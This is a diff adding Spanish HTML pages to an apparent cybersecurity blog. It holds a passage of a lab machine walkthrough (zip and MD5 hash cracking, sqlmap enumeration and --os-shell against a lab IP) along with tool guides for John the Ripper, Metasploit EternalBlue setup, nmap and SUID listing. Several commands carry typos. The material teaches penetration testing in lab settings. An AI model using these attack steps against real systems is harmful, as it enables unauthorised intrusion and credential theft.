    Como desconocemos la contraseña, vamos a utilizar la herramienta John the Ripper para tratar de descifrarla. En +caso de no tener la herramienta instalada o queráis leer más sobre ella podréis encontrarlo en el siguiente enlace: John the Ripper

    + +

    John the Ripper:

    + +

    Nos posicionamos en el directorio donde se encuentre el archivo backup.zip:

    + +

    Captura de pantalla -2022-04-26 11-34-30

    + +

    En primer lugar, vamos a extraer el hash del archivo backup.zip, para ello utilizaremos el comando zip2john y +guardaremos los resultados en un archivo nuevo que llamaremos hash1:

    + +
    zip2john 'backup.zip' > hash1
    +
    + +

    Captura de pantalla -2022-04-26 11-35-49

    + +

    Como podemos ver, se nos ha generado un nuevo archivo en nuestro directorio actual con el nombre de hash1.

    + +

    Captura de pantalla -2022-04-26 11-38-15

    + +

    Mediante cat podemos ver su contenido, el hash extraído del archivo .zip.

    + +
    cat hash1
    +
    + +

    Captura de pantalla -2022-04-26 11-39-08

    + +

    Perfecto, ya tenemos nuestro hash listo para explotarlo, ahora mediante la herramienta John, vamos a tratar de +descifrar el hash mediante un diccionario de fuerza bruta llamado rockyou.txt. Rockyou.txt es un diccionario +con más de 14 millones de contraseñas, el cual se puede encontrar por internet en distintos repositorios.

    + +

    Es aconsejable alojar el archivo rockyou.txt en la ruta /usr/share/wordlists/.

    + +

    Para ejecutar el ataque por diccionario con John, utilizaremos la variable --wordlist especificando la ruta del +diccionario, y luego, también especificamos el archivo que queremos tratar de descifrar, en nuestro caso hash1:

    + +
    john --worlist=/usr/share/wordlists/rockyou.txt hash
    +
    + +

    Captura de pantalla -2022-04-26 11-49-04

    + +

    Como podemos ver, la herramienta John enseguida nos reporta que ha procesado 1 contraseña y que no quedan más hashes +que crackear.

    + +

    Para poder ver la contraseña simplemente utilizamos John con la variable --show y especificar el archivo.

    + +
    john --show hash1
    +
    + +

    Captura de pantalla -2022-04-26 11-55-53

    + +

    Ahora ya podemos copiar la contraseña y descomprimir el archivo .zip:

    + +
    unzip backup.zip
    +
    + +

    Captura de pantalla -2022-04-26 11-59-18

    + +

    Y podemos ver como ya tenemos los archivos index.php y style.css en nuestro direcctiorio:

    + +

    Captura de pantalla -2022-04-26 11-59-37

    + +

    Revisión del código fuente:

    + +

    Tras revisar el archivo index.php, podemos ver como es una copia del código fuente de la página de inicio de sesión +anterior. +Pero si nos fijamos, incluye unas líneas adicionales. Para ver el código fuente podemos abrir el archivo +index.php mediante cat o dirigirnos a la url http://[Ip Víctima]/index.php (la página es visualmente es igual) y +con clic derecho sobre la página y ‘ver código fuente’.

    + +
    cat index.php
    +
    + +

    Captura de pantalla -2022-04-26 12-08-50

    + +

    El apartado que a nosotros nos interesa es el session_start, donde nos reporta un nombre de usuario admin y un +hash de una contraseña.

    + +

    Captura de pantalla -2022-04-26 12-11-16

    + +

    Para trabajar de manera más cómoda, crearemos un archivo llamado credentials.txt y guardaremos el usuario(admin) y +el hash encontrados.

    + +
    nano credentials.txt
    +
    + +

    Captura de pantalla -2022-04-26 12-22-18

    + +

    Guardamos (Cntrl + o) y salimos (Cntrl + x).

    + +

    Captura de pantalla -2022-04-26 12-23-11

    + +

    Identificar algoritmo del Hash

    + +

    HashID:

    + +

    Tenemos un hash, pero aún no sabemos en qué tipo de algoritmo está basado. Para saberlo, utilizaremos la herramienta +Hashid, la cual nos reportará el tipo de algoritmo más probable que se utilizó en su día para crear ese hash a +partir de una contraseña.

    + +

    Podéis encontrar más información aquí: HashID

    + +

    Para instalar la herramienta:

    + +
    sudo apt install hashid
    +
    + +

    Para ejecutarla:

    + +
    hashid [Hash Núm]
    +
    +hashid 2cb42f8734ea607eefed3b70af13bbd3
    +
    + +

    Captura de pantalla -2022-04-26 12-33-14

    + +

    Según la herramienta HashId el algoritmo de nuestro hash es un MD2, MD5 o MD4. Recordar que la aplicación nos +reporta los más probables, en ocasiones el primero en reportar no es el correcto. Para contrastar esta información +voy a mostraros otra herramienta que sirve para lo mismo, pero es un poco más precisa.

    + +

    Hash-Identifier:

    + +

    Está herramienta hace básicamente lo mismo que HashId, nos reporta el algoritmo del hash deseado, con la diferencia +de que Hash-Identifier es algo más precisa a la hora de reportar los resusltados. +Podéis encontrar más información aquí: Hash Identifier

    + +

    Para instalar:

    + +
    sudo apt install hash-identifier
    +
    + +

    Captura de pantalla -2022-04-26 19-59-02

    + +

    Para ejecutarlo:

    + +
    hash-identifier
    +
    + +

    Captura de pantalla -2022-04-26 20-01-03

    + +

    Vemos como se nos despliega una interfaz gráfica donde pegaremos el hash que queremos analizar.

    + +

    Captura de pantalla -2022-04-26 20-04-12

    + +

    Captura de pantalla -2022-04-26 20-05-15

    + +

    Una vez analizado el hash, vemos como en la parte superior nos reporta los algoritmos, en este caso MD5.

    + +

    Captura de pantalla -2022-04-26 20-04-59

    + +

    Perfecto, ya tenemos un hash y conocemos el algoritmo en el que esta basado. El siguiente paso será crackear el hash. +Para ello, vamos a ver dos formas de crakear un hash, en primer lugar utilizaremos la herramienta HashCat.

    + +

    Crackear Hash

    + +

    HashCat:

    + +

    HashCat es un descifrador de contraseña popular y eficaz. Mediante esta herramienta trataremos de descifrar el hash, en primer +lugar, crearemos un arhivo llamado hash2 donde guardamos el hash a descifrar.

    + +

    Para crear el archivo:

    + +
    echo 'Número de Hash' > hash2
    +
    + +

    Captura de pantalla -2022-04-27 11-54-53

    + +

    En caso de no tener instalado HashCat:

    + +
    sudo apt install hashcat
    +
    + +

    Ahora debemos asegurarnos que tenemos el diccionario rockyou.txt en el direcctorio /usr/share/wordlists/. +Podemos descargarnos o copiar el diccionario rockyou.txt en el siguiente enlace: +https://www.kaggle.com/datasets/wjburns/common-password-list-rockyoutxt

    + +

    Bien, ya lo tenemos todo preparado para ejecutar HashCat, para ello, ejecutamos el siguiente comando:

    + +
    hashcat -a 0 -m 0 'Número Hash' /usr/share/wordlists/rockyou.txt
    +
    + +

    -a : Attack-mode. El 0 representa el modo Straight.

    + +

    -m : Hash-type. El 0 representa MD5. Esto lo podemos ver con el comando hashcat --help.

    + +

    hash2 : Nombre del archivo que contiene el hash que queremos descifrar.

    + +

    rockyou.txt : Es un diccionario con más de 14 millones de contraseñas y hashes.

    + +

    Captura de pantalla -2022-04-27 11-56-27

    + +

    Nos indica que ha encontradoalgo y que utilizemos --show para poder visualizarlo.

    + +
    hashcat --show hash2
    +
    + +

    Captura de pantalla -2022-04-27 11-56-58

    + +

    Como podemos ver, Hashcat descifró la contraseña: qwerty789

    + +

    Acceso al Sistema:

    + +

    Ya conocemos un usuario admin y una contraseña qwerty789, con esta información vamos a volver a la página web donde nos +aparecia una pagina de inicio de sesión y vamos a tratar de acceder utilizando estos datos.

    + +

    Captura de pantalla -2022-04-27 12-03-29

    + +

    Genial, podemos ver como tenemos acceso como el usuaio admin.

    + +

    Tras revisar el contenido de la página, vemos como el tablero no reporta nada especial, sin embargo, nos muestra un catálogo que +podría estar conectado con la base de datos.

    + +

    Vamos a tratar de realizar algunas consultas y ver que ocurre:

    + +

    Captura de pantalla -2022-04-27 12-04-13

    + +

    Al verificar la URL, podemos ver que hay una variable $search que es responsable de buscar en el catálogo.

    + +

    Captura de pantalla -2022-04-27 12-06-08

    + +

    Intentemos forzar un error en la URL a ver que nos reporta, para ello simplemente quitaremos una comilla de la URL:

    + +

    Captura de pantalla -2022-04-27 12-07-04

    + +

    Captura de pantalla -2022-04-27 12-06-41

    + +

    Vemos como al tener una sintaxis erronea, nos repotar el siguiente mensaje:

    + +

    Captura de pantalla -2022-04-27 12-06-52

    + +

    Tras ver esto, vamos a probar si es vulnerable a una inyeccion SQL, se puede hacer manualmente, pero para facilitarnos el trabajo +usaremos una herramienta llamada Sqlmap.

    + +

    SQLMAP

    + +

    SQLmap es una herramienta de código abierto utilizada en pruebas de penetración para detectar y explotar fallas de inyección SQL. SQLmap automatiza +el proceso de detección y explotación de inyección SQL. Los ataques de inyección de SQL pueden tomar el control de las bases de datos que utilizan SQL.

    + +

    Viene preinstalado con Parrot OS y Kali Linux, sin embargo, puede instalarlo a través del repositorio o con el siguiente comando:

    + +
    sudo apt install sqlmap
    +
    + +

    Una vez tenemos SQLmap instalado vamos a ejecutarlo. Para ello en primer lugar unicamente especificaremos la url.

    + +
    sqlmap --url "10.129.25.145/dashboard.php?search="
    +
    + +

    Como podeís ver no nos muestra nada interesante utilizando solo la URL. +Tambien nos muestra que no tenemos unas cookies de sesión definidas. Como +ya estamos registrados como el usuario admin podemos utilizar sus credenciales de las cookies de inicio de sesión.

    + +

    Para ello volvemos a firefox y mediante cntrl + shift + c o clic derecho e Inspeccionar se nos abrirá una pestaña. Dentro de la pestaña vamos hasta +Almacenamiento y luego Cookies. Vemos como nos muestra un Nombre y un Valor, vamos a copiarlos y utilizarlos con SQLmap.

    + +

    Captura de pantalla -2022-05-04 11-01-24

    + +

    Captura de pantalla -2022-05-04 11-01-47

    + +

    Ahora especificaremos los datos de inicio de sesión de las cookies en el comando anterior, esto lo haremos mediante la variable --cookie, tambien vamos a especificar mediante --batch que automatice todo el proceso sin necesidad de que nos pregunte que tareas realizar.

    + +

    Y lo más importante, lo que queremos buscar mediante el escaneo, en nuestro caso vamos a tratar de enumerar los archivos de la base detos mediante +la variable --current-db.

    + +
    sqlmap --current-db --url "http://10.129.25.145/dashboard.php?search=Elixir" --cookie="PHPSESSID=dcep13le13prvgcl8ub8cqgjva" --batch
    +
    + +

    Captura de pantalla -2022-05-04 11-39-31

    + +

    Captura de pantalla -2022-05-04 11-39-53

    + +

    Podemos ver como nos reporta que el nombre de la base de datos es public.

    + +

    Conociendo el nombre de la base de datos, mediante sqlmap vamos a tratar de numerar las tablas de la sbase de datos public:

    + +
    sqlmap -D public --tables --url "http://10.129.25.145/dashboard.php?search=Elixir" --cookie="PHPSESSID=dcep13le13prvgcl8ub8cqgjva" --batch
    +
    + +

    -D : Indica que vamos a especificar una base de datos. En nuestro caso public.

    + +

    --tables : Está variable nos reportará las tablas de las base de datos que hemos especificado.

    + +

    Captura de pantalla -2022-05-04 11-47-48

    + +

    Captura de pantalla -2022-05-04 11-48-13

    + +

    Sqlmap nos muestra que dentro de la base de datos public existe una tabla llamada cars.

    + +

    Nuevamente realizaremos otro escaneo especificando la tabla cars:

    + +
    sudo sqlmap -D public -T cars --columns --url "http://10.129.25.145/dashboard.php?search=Elixir" --cookie="PHPSESSID=dcep13le13prvgcl8ub8cqgjva" --batch
    +
    + +

    -T : Indica que vamos a especificar las tablas. En nuestro caso cars.

    + +

    --columns : Nos reporta las columnas de la tabla especificada.

    + +

    Captura de pantalla -2022-05-04 11-54-26

    + +

    Captura de pantalla -2022-05-04 11-48-13

    + +

    Genial, vemos como nos a reportado la siguiente tabla:

    + +

    Captura de pantalla -2022-05-04 11-54-40

    + +

    Está tabla tampoco parece reportar nada innteresante así que trataremos de crear mediante Sqlmap una Shell interactiva.

    + +

    Para ello utilizaremos la siguiente variable de Sqlmap:

    + +
    sudo sqlmap --os-shell --url "http://10.129.25.145/dashboard.php?search=Elixir" --cookie="PHPSESSID=dcep13le13prvgcl8ub8cqgjva"
    +
    + +

    Captura de pantalla -2022-05-04 12-05-16

    + +

    Captura de pantalla -2022-05-04 12-05-41

    + +

    Ya tenemos nuestra shell activa, vamos a investigar un poco para ver que +archivos contiene. Primero mediante ls vamos a ver que tenemos en el directorio en el que nos encontramos.

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/john_the_ripper.html b/Web/john_the_ripper.html new file mode 100644 index 00000000000..bb5c48f9f8c --- /dev/null +++ b/Web/john_the_ripper.html @@ -0,0 +1,274 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramientas
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + John + + + + + + + + + + + + + + + + + + + + + +

    JOHN THE RIPPER

    + +

    John the Ripper es una herramienta de software gratuita para descifrar contraseñas. Originalmente desarrollado +para el sistema operativo Unix, puede ejecutarse en quince plataformas diferentes (once de las cuales son versiones +específicas de la arquitectura de Unix, DOS, Win32, BeOS y OpenVMS). Es uno de los programas de prueba y ruptura de +contraseñas más utilizados, ya que combina una serie de crackers de contraseñas en un solo paquete, detecta +automáticamente los tipos de hash de contraseña e incluye un cracker personalizable. Se puede ejecutar en varios +formatos de contraseña cifrada, incluidos varios tipos de hash de contraseña cifrada que se encuentran más comúnmente +en varias versiones de Unix (basadas en DES, MD5 o Blowfish), Kerberos AFS y Windows NT/2000/XP/2003 LM hash.

    + +

    Los módulos adicionales han ampliado su capacidad para incluir hash de contraseñas basadas en MD4 y contraseñas +almacenadas en LDAP, MySQL y otros.

    + +

    Instalación:

    + +

    John the Ripper viene preinstalado con Parrot OS y Kali Linux, sin embargo, si no lo tiene, puedes instalarlo desde +el repositorio:

    + +
    sudo apt install john
    +
    + +

    Instrucciones de uso:

    + +

    Para utilizar John, primero debemos de entender bien como funciona el sistema de hash y de contraseñas.

    + +

    Antes de ejecutrar John, tendremos que extraer el hash del archivo que queremos descifrar. Para posteriormente saber +que algoritmo de hash utiliza, y luego, por medio de un diccionario, utilizar fuerza bruta hasta descibrar el hash.

    + +

    Las funciones más típicas de hash de contraseñas son MD5, SHA-1, SHA2-256, SHA2-512 entre otras.

    + +

    Actualmente los algoritmos más comunes para proteger las contraseñas son KDF: Argon2 (KDF) scrypt (KDF) bcrypt PBKDF2 +(KDF).

    + +

    La principal diferencia entre un KDF y una función de hash de contraseñas, es que la longitud con los KDF +es arbitraria, y en las típicas funciones hash tienen una salida de longitud fija.

    + +

    No obstante, se siguen utilizando mucho las funciones de hash.

    + +

    Extraer hash de un .zip:

    + +
    zip2john [archivo.zip] > hash
    +
    + +

    De esta manera extraeremos el hash del archivo .zip en el archivo ‘hash’ para posteriormente poder trabajar con él.

    + +

    Ejecutar John y el diccionario rockyou.txt:

    + +
    john --wordlist=/usr/share/wordlists/rockyou.txt hash
    +
    + +

    Captura de pantalla -2022-04-26 11-07-52

    + +

    El archivo rockyou.txt es un diccionario con más de 14 millones de contraseñas. En caso de no tenerlo, podéis +descargarlo y guardarlo en la ruta /usr/share/wordlists/

    + +

    Muy bien, ahora para poder ver la contraseña descifrada:

    + +
    john --show hash
    +
    + +

    Captura de pantalla -2022-04-26 11-10-46

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/listar_privilegios_linux.html b/Web/listar_privilegios_linux.html new file mode 100644 index 00000000000..07984f5203b --- /dev/null +++ b/Web/listar_privilegios_linux.html @@ -0,0 +1,229 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Curso Linux + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + + + + + +

    Cómo listar Privilegios en Linux.

    + +

    Listar Privilegios SUID:

    + +

    Para listar los privilegios SUID debemos ejecutar el fomando find seguido de las siguientes opciones:

    + +
    find \-perm -4000 2>/dev/null
    +
    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/listar_y_borrar_procesos_linux.html b/Web/listar_y_borrar_procesos_linux.html new file mode 100644 index 00000000000..df531bd0d21 --- /dev/null +++ b/Web/listar_y_borrar_procesos_linux.html @@ -0,0 +1,287 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Curso Linux + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Linux: Gestión de Procesos
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + +
  • Listar Procesos con ps.
  • +
  • Mostrar el uso actual de la CPU y la RAM de cada proceso.
  • +
  • Encontrar un proceso con pgrep.
  • +
  • Matar o Borrar un Proceso en Linux.
  • + +

    Cómo Listar y Borrar procesos en Linux.

    + +

    +

    Listar Procesos con ps:

    + +

    En Linux, una instancia en ejecución de un programa se llama proceso. Ocasionalmente, cuando trabaje en una máquina Linux, +es posible que necesite averiguar qué procesos se están ejecutando actualmente.

    + +

    El comando ps puede listar todos los procesos que se están ejecutando en un sistema Linux con la opción -e:

    + +
    ps -e
    +
    + +

    Captura de pantalla 2022-08-24 213151

    + +

    Podemos conocer más detalles del comando ps accediendo a su manual:

    + +
    man ps
    +
    + +

    +

    Mostrar el uso actual de la CPU y la RAM de cada proceso:

    + +

    Al igual que la opción anterior, esta opción listará todos los procesos que se estén ejecutando en tu sistema. Pero también +muestra el uso actual de la CPU y la RAM de cada proceso, así como el comando que lo ha generado.

    + +
    ps -aux
    +
    + +

    Captura de pantalla 2022-08-24 213641

    + +

    +

    Encontrar un proceso con pgrep:

    + +

    El comando pgrep es una especie de combinación de ps y grep. Podemos especificar el nombre (o parte del nombre) de un proceso que estemos +buscando, y pgrep nos devolverá los respectivos ID de los procesos.

    + +

    Por ejemplo, para buscar cualquier proceso relacionado con openvpn en tu sistema, escribirías:

    + +
    pgrep openvpn
    +
    + +

    Captura de pantalla 2022-08-24 213406

    + +

    Captura de pantalla 2022-08-24 213343

    + +

    +

    Matar o Borrar un Proceso en Linux:

    + +

    Si el comando/proceso se está ejecutando en primer plano, puedes utilizar el atajo de terminal Ctrl+C. Sin embargo, si el proceso no es visible (lo que +significa que se ejecuta en segundo plano), puedes emplear comandos dedicados para matarlo.

    + +

    El término matar un proceso se refiere a detener un proceso a mitad de su ejecución. Si conoce el ID del proceso (PID), puedes utilizar el comando kill +de la siguiente manera:

    + +
    kill [Opción] [PID]
    +
    + +

    En la sintaxis anterior, en primer lugar, marcamos la opción que deseamos ejecutar del comando kill y PID se refiere al ID del proceso. +Las opciones del comando kill son las siguientes:

    + +

    Captura de pantalla 2022-08-24 214450

    + +

    En caso de querer eliminar el proceso anterior openvpn utilizaremos la opción 9 para cerrar el proceso inmediatamente.

    + +
    kill -9 [PID]
    +
    + +

    Captura de pantalla 2022-08-24 214756

    + +

    En este caso, el PID del proceso openvpn es el 151202 y tras ejecutar el comando kill vemos como al tratar de volver a listarlo con pgrep +ya no lo reporta.

    + +

    Captura de pantalla 2022-08-24 214828

    + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/metasploit.html b/Web/metasploit.html new file mode 100644 index 00000000000..e89e47375cf --- /dev/null +++ b/Web/metasploit.html @@ -0,0 +1,295 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramientas
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + +

    Metasploit

    + +

    ¿Qué es Metasploit?

    + +

    Metasploit es un proyecto de código abierto para la seguridad informática, que proporciona información acerca de vulnerabilidades de seguridad y ayuda en +tests de penetración Pentesting y el desarrollo de firmas para sistemas de detección de intrusos.

    + +

    Su subproyecto más conocido es el Metasploit Framework, una herramienta para desarrollar y ejecutar exploits contra una máquina remota.

    + +

    Inicialmente, fue creado utilizando el lenguaje de programación de scripting Perl aunque actualmente el Metasploit Framework ha sido escrito de nuevo +completamente en el lenguaje Ruby.

    + +

    ¿Como funciona Metasploit?

    + +

    Los pasos básicos para la explotación de un sistema que utiliza el Sistema incluyen:

    + +
      +
    1. +

      La selección y configuración de un código el cual se va a explotar. El cual entra al sistema objetivo, mediante el aprovechamiento de +bugs. Existen cerca de 900 exploits incluidos para Windows, Unix / Linux y Mac OS X.

      +
    2. +
    3. +

      Opción para comprobar si el sistema destino es susceptible a los bugs elegidos.

      +
    4. +
    5. +

      La técnica para codificar el sistema de prevención de intrusiones (IPS) e incluir la carga útil codificada.

      +
    6. +
    7. +

      Visualización a la hora de ejecutar el exploit.

      +
    8. +
    + +

    Metasploit se ejecuta en Unix (incluyendo Linux y Mac OS X) y en Windows. El Sistema Metasploit se puede extender y es capaz utilizar complementos +en varios idiomas.

    + +

    Para elegir un exploit y la carga útil, se necesita un poco de información sobre el sistema objetivo, como la versión del sistema operativo y los +servicios de red instalados.

    + +

    Esta información puede ser obtenida con el escaneo de puertos y “OS fingerprinting”, puedes obtener esta información +con herramientas como Nmap, NeXpose o Nessus, estos programas, pueden detectar vulnerabilidades del sistema de destino. Metasploit puede importar +los datos de la exploración de vulnerabilidades y comparar las vulnerabilidades identificadas.

    + +

    Instalación:

    + +

    Para poder instalar Metasploit en sistemas basados en Debian como Parrot o Kali Linux, primero actualizamos el sistema:

    + +
    sudo apt-get update
    +
    + +

    Y luego procedemos con la instalación:

    + +
    sudo apt-get install metasploit-framework
    +
    + +

    Una vez instalado podemos ejecutarlo mediante el comando:

    + +
    msfconsole
    +
    + +

    Captura de pantalla -2022-05-13 02-39-06

    + +

    Búsqueda de Exploits:

    + +

    Metasploit cuenta con una gran recopilación de exploits, para poder buscar el adecuado filtrando por la vulnerabilidad que queremos explotar +simplemente usamos el comando search seguido del exploit, la vulnerabilidad o la versión del sistema que vamos a vulnerar. Esto debemos +ejecutarlo una vez hemos ingresado en msfconsole:

    + +
    search [Información que identifique la vulnerabilidad.]
    +
    + +

    Captura de pantalla -2022-05-13 13-05-57

    + +

    Conceptos básicos de configuración:

    + +

    Una vez nos muestra las listas (en este ejemplo hemos buscado la vulnerabilidad ms17-010 conocida como EthernalBlue) de los exploits que contienen +la iformación proporcionada. En mi caso, como he especificado la vulnerabilidad ms17-'010 los resultados son muy concretos.

    + +

    Una vez tenemos claro el exploit que deseamos emplear, podemos seleccionarlo mediante use seguido o del número de posición en la lista, el directorio o el nombre del mismo exploit.

    + +
    use 0
    +
    + +

    Captura de pantalla -2022-05-13 13-06-25

    + +

    Tras seleccionar el exploit ya solo faltaría configurarlo. Para ver la configuración predeterminada podemos usar el comando options.

    + +

    Captura de pantalla -2022-05-13 13-26-24

    + +

    Para configurar los parametros simplemente utilizamos set seguido del parametro a cambiar. Debemos especificar el RHOSTS donde indicamos la Ip +de la víctima, el LHOST donde indicaremos nuestra Ip pública (En caso de emplear una VPN debemos poner la Ip de misma.) y finalmente, indicamos +el LPORT que es el puerto por el cual nos pondremos en escucha.

    + +
    set RHOSTS [Ip Víctima]
    +
    +set LHOST [Ip Local]
    +
    +set LPORT [Puerto de Escucha]
    +
    + +

    Captura de pantalla -2022-05-13 13-25-31

    + +

    Finalmente, una vez lo tenemos todo configurado, ejecutamos la herramienta deseada mediante el comando exploit:

    + +
    exploit
    +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/mkt.html b/Web/mkt.html new file mode 100644 index 00000000000..157fe3e6905 --- /dev/null +++ b/Web/mkt.html @@ -0,0 +1,246 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramientas
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + MKT + + + + + + + + + + + + + + + + + + + + + +

    Función MKT:

    + +

    Esta función está definida para crearnos cuatro directorios (nmap, content, +exploits y scripts) desde los cuales poder trabajar a la hora de realizar +las máquinas de HTB.

    + +

    Captura de pantalla -2022-05-05 08-41-27

    + +
    # Función para crear directorios:
    +function mkt(){
    +    mkdir {nmap,content,exploits,scripts}
    +}
    +
    + +

    Captura de pantalla -2022-05-05 08-42-15

    + +

    Simplemente copiamos la función y la pegamos dentro del archivo ~/.zshrc:

    + +
    nano ~/.zshrc
    +
    + +

    Pegamos la función. Cntrl + o para guardar y Cntrl + x para salir.

    + +

    Ahora para ejecutarlo, simplemente desde la carpeta en la que queramos crear +los directorios de trabajo, usamos el comando mtk:

    + +
    mtk
    +
    + +

    Captura de pantalla -2022-05-05 08-43-11

    + +

    Captura de pantalla -2022-05-05 08-43-34

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/nmap.html b/Web/nmap.html new file mode 100644 index 00000000000..ffe8a5f4438 --- /dev/null +++ b/Web/nmap.html @@ -0,0 +1,430 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramientas
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + NMAP + + + + + + + + + + + + + + + + + + + + + + + +

    +

    ¿Qué es NMAP?

    + +

    Nmap es un programa de código abierto que sirve para efectuar rastreo de puertos y cuyo desarrollo se encuentra hoy a cargo de una comunidad. Fue creado originalmente para Linux aunque actualmente es multiplataforma. Se usa para evaluar la seguridad de sistemas informáticos, así como para descubrir servicios o servidores en una red informática, para ello Nmap envía unos paquetes definidos a otros equipos y analiza sus respuestas.

    + +

    Este software posee varias funciones para sondear redes de computadores, incluyendo detección de equipos, servicios y sistemas operativos. Estas funciones son extensibles mediante el uso de scripts para proveer servicios de detección avanzados, detección de vulnerabilidades y otras aplicaciones. Además, durante un escaneo, es capaz de adaptarse a las condiciones de la red, incluyendo latencia y congestión de la misma.

    + +

    +

    Escaneo Básico:

    + +
    nmap -p- --open -T5 -v -n [Ip]
    +
    + +

    -p- : Escanea todo el rango de puertos.

    + +

    --open : Solo nos mostrará puertos con el estatus abierto.

    + +

    -T5 : Controla el tiempo y el rendimiento del escaneo donde 1 es el más lento y 5 el más rápido.

    + +

    -v : Verbose. Recopila los puertos abiertos por TCP y los reporta por consola.

    + +

    -n : Anula la resolución DNS.

    + +

    +

    Escaneo Básico Guardando los resultados:

    + +
    nmap -p- --open -T5 -v -n [Ip] -oG allPorts
    +
    + +

    -oG : Exportar los resultados en formato grepeable.

    + +

    allPorts : Nombre del archivo. Si no existe lo creará.

    + +

    De esta manera podremos revisar los puertos que estaban abiertos en cualquier momento.

    + +

    +

    Escaneo exhaustivo de Puertos definidos:

    + +
    nmap -sC -sV -n -v -p[Port1,Port2] [Ip Víctima] -oN targed  
    +
    + +

    -sC : Lanza scripts básicos de reconocimiento.

    + +

    -sV : Localiza la versión y servicio de los puertos definidos.

    + +

    -p : Puertos a escanear. Ej: -p22,80

    + +

    -oN : Reporta los resultados en formato nmap al archivo targed.

    + +

    +

    Escaneo Rápido Completo:

    + +
    nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn [Ip Vícitma] -oG allPorts
    +
    + +

    -p- : Escanea todo el rango de puertos.

    + +

    --open : Solo nos mostrará puertos con el estatus abierto.

    + +

    -sS : El escaneo SYN realizar rápidamente, escaneando miles de puertos por segundo en una red rápida que no se ve obstaculizada por firewalls intrusivos.

    + +

    -oG : Exportar los resultados en formato grepeable.

    + +

    --min-rate : Controla directamente la tasa de escaneo. Nmap intentará mantener la velocidad de envío en 5000 paquetes por segundo o más.

    + +

    -vvv : Triple verbose. Recopila los puertos abiertos por TCP y los reporta por consola. Cuanto más verbose más información reporta mientras se realiza el escaneo.

    + +

    -n : Anula la resolución DNS.

    + +

    -Pn : Omite el descubrimiento de Hosts.

    + +

    +

    Scripts específicos de Nmap:

    + +

    Nmap contiene un gran número de scripts de reconocimiento, para verlos podemos filtrar las categorías por la extensión .nse.

    + +
    locate .nse
    +
    + +

    Para ver el tipo de categoría de cada script de Nmap, podemos concatenar un xargs:

    + +
    locate .nse | xargs grep "categories"
    +
    + +

    La sintaxis es muy simple, solo debemos añadir la opción --script delante del script que queramos utilizar:

    + +
    nmap --script [Nombre del Script]
    +
    + +

    +

    Escaneo mediante el script http-enum:

    + +

    El script http-enum de Nmap actual como un fuzzer, aplicando un pequeño diccionario interno tratando de buscar directorios o archivos de interés.

    + +
    nmap --script http-enum [Ip Víctima]
    +
    + +

    También podemos especificar puertos y guardar los resultados en un archivo (en este caso enumScan).

    + +
    nmap --script http-enum -p [Puerto/s] [Ip Víctima] -oG enumScan
    +
    + +

    --script: Especifica que vamos a utilizar un Script.
    +-p: Especifica los puertos que vamos a escanear.
    +-oG: Exportar los resultados en formato grepeable.
    +enumScan: Nombre del archivo donde se guardan los resultados.

    + +

    +

    Escaneo mediante scripts por categorías:

    + +

    Con Nmap también podemos especificar por categorías qué tipo de scripts queremos lanzar, recordar que podemos ver los distintos scripts utilizando el comando +locate .nse | xargs grep "categories". La sintaxis básica del comando es la siguiente:

    + +
    nmap --script "[Categorias]" [Ip Víctima]
    +
    + +

    Ejemplo:

    + +
    nmap --script "vuln and safe" 10.10.10.10
    +
    +nmap --script "vuln and safe" -p22,80,445 10.10.10.10
    +
    + +

    En este ejemplo vemos como estamos lanzando los scripts de las categorías vuln y safe a la dirección Ip Víctima por los puertos 22, 80 y 445. +Para ver solo las categorías que existen independientemente de los scripts podemos verlas utilizando los siguientes comandos de filtrado:

    + +

    Captura de pantalla 2022-08-03 110200

    + +

    Como vemos en la imagen, se nos reporta por consola todas las categorías existentes que podemos emplear.

    + +

    +

    Escalada de privilegios con Nmap:

    + +

    En múltiples ocasiones, una vez realizada la intrusión en el sistema, veremos como algunos de los equipos o sistemas tienen nmap instalado. En caso de que los +privilegios sean los adecuados, se pueden usar para ganar acceso como root.

    + +

    Para esto, en primer lugar, debe de tratarse de una versión de nmap que contenga el parámetro --interactive. Ahora, mediante el comando sudo -l podemos ver los +permisos que tenemos como sudo:

    + +
    sudo -l
    +
    + +

    Captura de pantalla -2022-05-29 16-19-01

    + +

    Captura de pantalla -2022-05-29 16-20-21

    + +

